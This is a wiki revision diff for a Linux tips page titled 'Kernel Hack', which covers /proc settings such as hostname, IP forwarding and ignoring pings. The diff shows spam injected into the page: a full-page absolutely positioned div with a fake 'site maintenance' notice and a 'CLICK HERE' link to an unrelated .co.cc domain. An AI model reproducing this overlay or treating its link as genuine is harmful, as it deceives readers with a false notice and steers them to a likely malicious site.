Difference between revisions of "Kernel Hack"
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Kernel entries made on the fly do not apply after a reboot. Some proc entries have a value of either 0 or 1, while others have character string values. | Kernel entries made on the fly do not apply after a reboot. Some proc entries have a value of either 0 or 1, while others have character string values. | ||
| − | === View current hostname: === | + | >=== View current hostname: === |
cat /proc/sys/kernel/hostname | cat /proc/sys/kernel/hostname | ||
| + | |||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://ykosyqopu.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://ykosyqopu.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
=== Change the current hostname instantly: === | === Change the current hostname instantly: === | ||
Revision as of 21:35, 17 November 2010
There are several useful kernel flags you can set to increase your default network security without using IP Tables. The /proc filesystem is a window into various parts of the Linux kernel. Some of these values in the running kernel are read-only, others may be modified on the fly.
Kernel entries made on the fly do not apply after a reboot. Some proc entries have a value of either 0 or 1, while others have character string values.
>=== View current hostname: ===
cat /proc/sys/kernel/hostname
Change the current hostname instantly:
echo 'newhostname' > /proc/sys/kernel/hostname
Enable IP Forwarding: (echo 0 disables)
echo 1 > /proc/sys/net/ipv4/ip_forward
To turn off answers to icmp_echos (such as ping): (echo 0 turns back on)
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
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- Sat Jul 12 16:17:01 CDT 2003
